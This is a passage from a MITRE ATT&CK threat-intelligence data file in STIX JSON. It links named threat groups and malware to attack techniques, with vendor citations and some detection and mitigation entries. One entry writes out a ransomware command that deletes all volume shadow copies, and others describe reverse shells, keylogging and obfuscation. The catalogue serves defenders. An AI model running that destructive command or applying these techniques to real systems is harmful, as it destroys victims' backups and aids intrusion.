2020."}],"modified":"2021-04-26T21:58:31.745Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect which Linux distribution and version is currently installed on the system.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06b18704-e29e-4bf9-900f-44aa719df0c6","type":"relationship","created":"2020-03-18T14:48:43.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","source_name":"FireEye APT10 Sept 2018"}],"modified":"2020-03-18T14:48:43.975Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used [esentutl](https://attack.mitre.org/software/S0404) to change file extensions to their true type that were masquerading as .txt files.(Citation: FireEye APT10 Sept 2018) ","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06b747a6-a3d2-441e-9a24-b79491be3647","type":"relationship","created":"2019-10-11T17:29:20.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2019-10-11T17:29:20.309Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used a screenshot module that can be used to take a screenshot of the remote system.(Citation: SecureList Griffon May 2019)","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06b7b9b4-7cc8-4d7f-af8c-20fe8b8610b0","type":"relationship","created":"2020-11-17T20:21:18.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T20:21:18.634Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can collect the IP address of a compromised host.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--06bf8477-fed1-410b-8fc9-2655758eed41","created":"2022-04-06T13:34:51.870Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used stolen code-signing certificates for its malicious payloads.(Citation: Symantec Palmerworm Sep 2020)","modified":"2022-04-06T13:35:16.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06dd311f-393f-4c24-beee-19d690ae4ba2","type":"relationship","created":"2020-06-30T00:39:39.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.891Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) can delete volume shadow copies using vssadmin delete shadows /all /quiet.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06dded4b-f28c-45d3-8dc6-097a9a4a3cd6","type":"relationship","created":"2019-01-29T18:44:05.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"},{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"Fortinet Agent Tesla June 2017","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."},{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2020-05-20T13:38:06.936Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can steal data from the victim’s clipboard.(Citation: Talos Agent Tesla Oct 2018)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06de29d8-365b-4072-a4bb-9d436763ea1e","type":"relationship","created":"2020-05-27T15:31:09.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.716Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used PowerShell reverse TCP shells to issue interactive commands over a network connection.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--06e5b331-d382-4864-ab8c-083e006ede8a","created":"2022-06-02T13:17:21.817Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerLess](https://attack.mitre.org/software/S1012) can use a module to log keystrokes.(Citation: Cybereason PowerLess February 2022)","modified":"2022-06-02T20:47:19.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06e74d66-012f-4615-9597-50c5fff9b036","created":"2024-09-19T15:46:03.169Z","revoked":false,"external_references":[{"source_name":"Rapid7 Fake W2 July 2024","description":"Elkins, T. (2024, July 24). Malware Campaign Lures Users With Fake W2 Form. Retrieved September 13, 2024.","url":"https://www.rapid7.com/blog/post/2024/07/24/malware-campaign-lures-users-with-fake-w2-form/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T15:46:03.169Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has injected [Latrodectus](https://attack.mitre.org/software/S1160) into the Explorer.exe process on comrpomised hosts.(Citation: Rapid7 Fake W2 July 2024)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06e7f684-24c1-4165-9144-c4457074eb10","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Atlassian Confluence Logging","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.","url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"},{"source_name":"AWS GuardDuty RDS Protection","description":"AWS. (n.d.). GuardDuty RDS Protection. Retrieved September 24, 2024.","url":"https://docs.aws.amazon.com/guardduty/latest/ug/rds-protection.html"},{"source_name":"Microsoft SharePoint Logging","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.","url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"},{"source_name":"Sharepoint Sharing Events","description":"Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.","url":"https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T19:41:11.627Z","description":"Monitor for newly constructed logon behavior within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) In AWS environments, GuardDuty can be configured to report suspicious login activity in services such as RDS.(Citation: AWS GuardDuty RDS Protection) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06eac254-32a7-4e32-97b2-c46f79b4adb3","type":"relationship","created":"2019-01-30T13:28:47.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2020-03-17T02:50:14.997Z","description":"[Xbash](https://attack.mitre.org/software/S0341) uses HTTP for C2 communications.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06eb051c-74d0-4bbd-8cdf-1018b3c2e748","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"},{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."},{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:40:26.140Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.(Citation: McAfee Netwire Mar 2015)(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06ef19c1-8490-42cc-b345-45f3aa29fc5f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-21T00:07:11.895Z","description":"[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim username and encrypts the information to send over its C2 channel.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06ef2810-b641-4142-83af-bbb00a598c11","type":"relationship","created":"2020-03-25T22:32:16.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T19:08:57.015Z","description":"Limit privileges of user accounts and groups so that only authorized administrators can interact with system-level process changes and service configurations.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06f14692-8825-4947-9a63-fb4b4384b7ed","created":"2024-07-01T18:32:05.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:36:50.565Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can receive C2 commands hidden in the structure of .jpg and .gif images.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06f16826-1100-4958-86e3-784a22998060","type":"relationship","created":"2021-06-15T15:49:36.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T15:49:36.950Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) can use anti-disassembly and code transformation obfuscation techniques.(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06f7f9cd-4e6b-4abe-bff0-c9c0fcaf920e","created":"2020-12-17T16:56:47.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-31T18:48:21.784Z","description":"The primary delivered mechanism for [Agent Tesla](https://attack.mitre.org/software/S0331) is through email phishing messages.(Citation: Bitdefender Agent Tesla April 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06f8a778-eebf-4d73-86d3-6ebdbf94ce46","type":"relationship","created":"2020-04-28T18:12:13.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-05T22:19:18.895Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has used certutil to download and decode base64 encoded strings and has also devoted a custom section to performing all the components of the deobfuscation process.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06fbdb2f-97d5-4140-9300-0a1f6ab72cb2","created":"2024-09-23T22:28:57.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"therecord_redcurl","description":"Antoniuk, D. (2023, July 17). RedCurl hackers return to spy on 'major Russian bank,' Australian company. Retrieved August 9, 2024.","url":"https://therecord.media/redcurl-hackers-russian-bank-australian-company"},{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:56:35.163Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used malware with string encryption.(Citation: therecord_redcurl) [RedCurl](https://attack.mitre.org/groups/G1039) has also encrypted data and has encoded PowerShell commands using Base64.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) [RedCurl](https://attack.mitre.org/groups/G1039) has used `PyArmor` to obfuscate code execution of [LaZagne](https://attack.mitre.org/software/S0349). (Citation: group-ib_redcurl1) Additionally, [RedCurl](https://attack.mitre.org/groups/G1039) has obfuscated downloaded files by renaming them as commonly used tools and has used `echo`, instead of file names themselves, to execute files.(Citation: trendmicro_redcurl) \n","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--07019af0-e801-48c7-a3bd-efc637003aa2","created":"2022-08-11T22:36:55.462Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DCSrv](https://attack.mitre.org/software/S1033) has masqueraded its service as a legitimate svchost.exe process.(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T22:36:55.462Z","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0705be49-4ad2-4b50-a024-e8b79b53a1ab","type":"relationship","created":"2019-06-18T18:40:33.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-01-29T17:32:00.070Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) has used been observed deleting scripts once used.(Citation: Flashpoint FIN 7 March 2019)\t","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0709589f-cc25-4925-89be-59e121c47951","type":"relationship","created":"2020-05-28T16:38:03.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-08T19:12:14.261Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has been delivered using OLE objects in malicious documents.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07173c7c-335d-488b-b3ff-2f94168500db","type":"relationship","created":"2020-06-10T17:28:46.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.160Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to identify the installed anti-virus product on the compromised host.(Citation: Trend Micro Tick November 